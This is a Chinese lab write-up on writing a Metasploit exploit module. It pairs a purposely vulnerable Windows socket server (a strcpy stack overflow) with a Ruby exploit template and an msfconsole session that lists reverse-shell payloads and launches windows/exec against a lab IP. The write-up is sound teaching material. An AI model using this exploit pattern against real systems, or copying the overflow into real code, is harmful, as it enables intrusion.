4.2 metasploit 开发 exploit
目录
一、实验清单
二、实验思路
三、实验步骤
一、实验清单
类型 | 序号 | 软硬件要求 | 规格 |
攻击机 | 1 | 数量 | 1台 |
2 | 操作系统版本 | kali | |
3 | 软件版本 | metasploit | |
靶机 | 1 | 数量 | 1台 |
2 | 操作系统版本 | windows xp sp3 | |
3 | 软件版本 | vc++ |
二、实验思路
靶机:采用一个存在典型栈溢出的server,其代码如下:
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
void msg_display(char *buf)
{char msg[200];strcpy(msg,buf); //overflow here,copy 0x200 to200cout<<"***************"<<endl;cout<<"received:"<<endl;cout<<msg<<endl;
}void main()
{int sock,msgsock,lenth,receive_len;struct sockaddr_in sock_server,sock_client;char buf[0x200];//notice it is 0x200WSADATA wsa;WSAStartup(MAKEWORD(1,1),&wsa);if((sock=socket(AF_INET,SOCK_STREAM,0))<0){cout<<sock<<"socket creating error!"<<endl;exit(1);}sock_server.sin_family=AF_INET;sock_server.sin_port=htons(7777);sock_server.sin_addr.s_addr=htonl(INADDR_ANY);if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server))){cout<<"binging stream socket error!"<<endl;}cout<<"****************************"<<endl;cout<<"exploit target server 1.0 "<<endl;cout<<"****************************"<<endl;listen(sock,4);lenth=sizeof(struct sockaddr);do{msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);if(msgsock==-1){cout<<"accept error"<<endl;break;}elsedo{memset(buf,0,sizeof(buf));if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0){cout<<"reading stream message error!"<<endl;receive_len=0;}msg_display(buf); //trigged the overflow}while(receive_len);closesocket(msgsock);}while(1);WSACleanup();
}
程序大致思路:在vc++中编译运行后,程序会在7777端口监听TCP连接,如果收到数据,就在屏幕上打印出来。在main函数中,buf数组的大小被声明为0x200,在mag_display函数中,将大小为0x200的字符串复制进200大小的局部数组,从而引发一个典型的栈溢出。
攻击机:使用Ruby语言开发一个exploit模板,并在MSF上运行以测试漏洞。Ruby脚本如下:
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remoteinclude Exploit::Remote::TCPdef initialize(info = {})super(update_info(info,'Name' => 'failwest_test','Platform' => 'win','Target' => [['Windows 2000',{'Ret' => 0x77F8948B}],['WIndows XP SP3',{'Ret' => 0x77D928A3}]],'Payload' => {'Space' => 2000,'BadChars' => "\x00",}))end #end of initializedef exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend #end of exploit def
end #end of class def
对上述代码进行简单解释:
(1)require指明所需的类库,相当于C语言的include;
(2)运算符“<”表示继承,也就是,我们这里所定义的类是由Msf::Exploit::Remote继承而来;
(3)在类中,定义了两个方法(函数),一个是initialize,另一个是exploit。现在模板的框架可以看成:
class xxxdef initialize#定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系统指明不同的返回地址#指明shellcode中禁止出现的特殊字符、漏洞相关描述、URL引用、作者信息等enddef exploit#将填充物、返回地址、shellcode等组织成最终的attack_buf,并发送endend
从实验所用的Ruby脚本看initialize:
def initialize(info = {})super(update_info(info,'Name' => 'failwest_test','Platform' => 'win','Target' => [['Windows 2000',{'Ret' => 0x77F8948B}],['WIndows XP SP3',{'Ret' => 0x77D928A3}]],'Payload' => {'Space' => 2000,'BadChars' => "\x00",}))end #end of initialize
(1)Name模块的名称,在msf console中,使用“show exploit”命令,会显示每一个exploit的序号、路径...以及此时这个Name;
(2)Platform模块运行平台,MSF通过这个值来为exploit挑选payload。本例中,该值为‘win’,在挑选payload时,MSF只会选择windows平台的payload,而BSD、linux的payload将会被禁用。
(3)Targets可以定义多种操作系统的返回地址。可以用ollydbg或者msf有个模块可以获取跳转指令的返回地址。
(4)Payload则是对shellcode的要求,如大小和禁止用的字节等。
再看exploit:
def exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend #end of exploit def
对于attack_buf:
attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
(1)用200个字符“a”填充缓冲区;
(2)pack('V')的作用是把数据按照DWORD逆序
(3)payload.excoded是将payload编码。
三、实验步骤
1、在靶机上编译并运行漏洞程序;
2、在攻击机上编写Ruby脚本,保存为“test_exploit.rb”,存放路径为:
/var/usr/share/metasploit-framework/modules/exploits/failwest/
3、启动msf console,并且输入以下命令;
msf6 > use exploit/failwest/test_exploit
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(failwest/test_exploit) > show targetsExploit targets:Id Name-- ----0 Automatic1 Windows 20002 WIndows XP SP2msf6 exploit(failwest/test_exploit) > set target 2
target => 2
msf6 exploit(failwest/test_exploit) > show payloadsCompatible Payloads
===================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 payload/generic/custom normal No Custom Payload1 payload/generic/debug_trap normal No Generic x86 Debug Trap2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline4 payload/generic/ssh/interact normal No Interact with Established SSH Connection5 payload/generic/tight_loop normal No Generic x86 Tight Loop6 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)7 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)8 payload/windows/exec normal No Windows Execute Command9 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)10 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)11 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP12 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline13 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)14 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)15 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)16 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)17 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)18 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)19 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP20 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP21 payload/windows/powershell_reverse_tcp_ssl normal No Windows Interactive Powershell Session, Reverse TCP SSL22 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)23 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)24 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)25 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)26 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)27 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)msf6 exploit(failwest/test_exploit) > set payload windows/exec
payload => windows/exec
msf6 exploit(failwest/test_exploit) > show optionsModule options (exploit/failwest/test_exploit):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-MetasploitRPORT yes The target port (TCP)Payload options (windows/exec):Name Current Setting Required Description---- --------------- -------- -----------CMD yes The command string to executeEXITFUNC process yes Exit technique (Accepted: '', seh, thread,process, none)Exploit target:Id Name-- ----2 WIndows XP SP2msf6 exploit(failwest/test_exploit) > set rhost 192.168.92.132 //靶机IP
rhost => 192.168.92.132
msf6 exploit(failwest/test_exploit) > set rport 7777
rport => 7777
msf6 exploit(failwest/test_exploit) > set cmd calc
cmd => calc
msf6 exploit(failwest/test_exploit) > set exitfunc seh
exitfunc => seh
msf6 exploit(failwest/test_exploit) > exploit
4、回到靶机,可以看到如下界面:
唯一的不足就是:shellcode已经注入到靶机中了,但是没有运行。
为此,做了以下努力:
(1)使用telnet命令,连接到了靶机,并且也正常输出字符,说明漏洞程序没有问题;
(2)在msf中,使用generate命令,将payload为windows/exec的shellcode找出来,并且用加载程序在靶机上运行,结果是可以调出计算器,正常运行。
至此,具体为什么使用exploit注入的shellcode无法运行的原因不知,有待进一步研究。
4.2 metasploit 开发 exploit相关推荐
- 关于Metasploit开发环境的搭建
又开始看<Metasploit渗透测试魔鬼训练营>这本书了.看到Web应用程序渗透测试这一章,其中有一部分是关于自己编写Metasploit的Exploit和Payload.我也正准备依葫 ...
- 攻击者可提前检测到 Linux 内核的补丁并开发 exploit
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 宝马.西门子和两所德国大学的研究人员发现,他们可以在Linux 内核修复方案发布之前检测到这些方案,而这些信息可导致攻击者开发并部署e ...
- 4. Metasploit之Exploit模块
再学Metasploit 之前学习的Metasploit没有写笔记都忘掉了,这次叫完整的学习内容记录下来 1. Active Exploit 主动的 某种服务器开放的端口,攻击者主动发起漏洞利用代码, ...
- metasploit 中 exploit模块check方法简介
Exploit模块的check方法用来检测一台远程主机是否有漏洞能够被利用. check方法默认的实施仅返回check方法不被Exploit模块支持. 当然,一个完整的代码能够从check方法返回如下 ...
- 二进制漏洞利用原理--栈溢出
1. 进程的内存空间 但是不管什么样的操作系统.什么样的计算机架构,进程使用的内存都可以按照功能大致分成以下4个部分. (1)代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并 ...
- 0day安全:软件漏洞分析技术(第2版)
0day安全:软件漏洞分析技术(第2版) 基本信息 作者:王清 张东辉 周浩 王继刚 赵双 丛书名:安全技术大系 出版社:电子工业出版社 ISBN:9787121133961 上架时间 ...
- 0day安全:软件漏洞分析技术(第2版)pdf
下载地址:网盘下载 内容简介 · · · · · · 本书分为4篇17章,系统全面地介绍了Windows平台缓冲区溢出漏洞的分析.检测与防护.第一篇为常用工具和基础知识的介绍:第二篇从攻击者的视角出 ...
- 《0day安全:软件漏洞分析技术第二版》
简单说来,这次再版的原因有二: 首先,国人深知与时俱进的道理,技术上面更是如此.随着windows平台保护技术的不断改进,win7的广泛使用,第一版中所述的很多方法已有较大局 限.为此我们逐一搜集了近 ...
- 使用ruby和python快速开发metasploit自定义模块
使用ruby和python快速开发metasploit自定义模块 前言 本文的内容主要分为两个部分: 提供一个基本ruby模块代码框架,并快速开发自定义ruby模块 提供一个基本python模块代码框 ...
- metasploit快速入门(一)安装部署
目录 简介 1 在Windows上安装Metasploit 2 在Linux和MacOS上安装Metasploit 3 在Kali Linux上使用Metasploit 4 升级Kali Linux ...
最新文章
- 用动态实现扩展TVM
- 最高 10 万奖金!2021 新网银行智能语音大赛来了!
- Rcysoft PDF Watermark Pro中文版
- .net中的4种事务总结
- git部署与基本命令汇总
- 日本电影《摇摆》:男人之间的心灵碰撞
- C. Jon Snow and his Favourite Number DP + 注意数值大小
- C++中的 .h 和 .cpp 区别详解
- 扩展KMP模板(学习)
- .mmap文件用什么软件可以打开?
- 区块链隐私保护:技术和相关项目
- 灰色预测模型matlab预测20个数据,怎么matlab灰色模型预测这组数据的下一...
- 前端自动化测试 之 视觉测试
- MySQL中关于字符编码的配置
- SDN和NFV的区别
- Android 横竖屏幕切换(layout-land和layout-port)
- OpenStack Nova hacking和读书笔记
- 获取DataTable中的某一列及增加一行数据
- Python抓取视频内容
- FluentValidation验证教程
热门文章
- linux so fprintf,Linux下printf、fprintf、sprintf的区别
- fms服务器ip修改,FusionSphere 平台修改管理网段和VLAN
- 文件上传注入攻击 ——合天网安实验室学习笔记
- 幼儿园体育游戏电子计算机教案,幼儿园体育游戏活动教案8篇
- Hyper-V安装lede软路由历程及注意事项
- 第四届“泰迪杯”数据分析技能赛-赛题A:《通讯产品销售和盈利能力分析》报告
- (webapp)微信和safri 对于html5 部分功能不兼容,多选或单选下拉框去除边框无效果。...
- C语言中EOF什么意思
- 使用selenium模拟动态登录百度页面
- java程序执行时间_java记录代码运行时间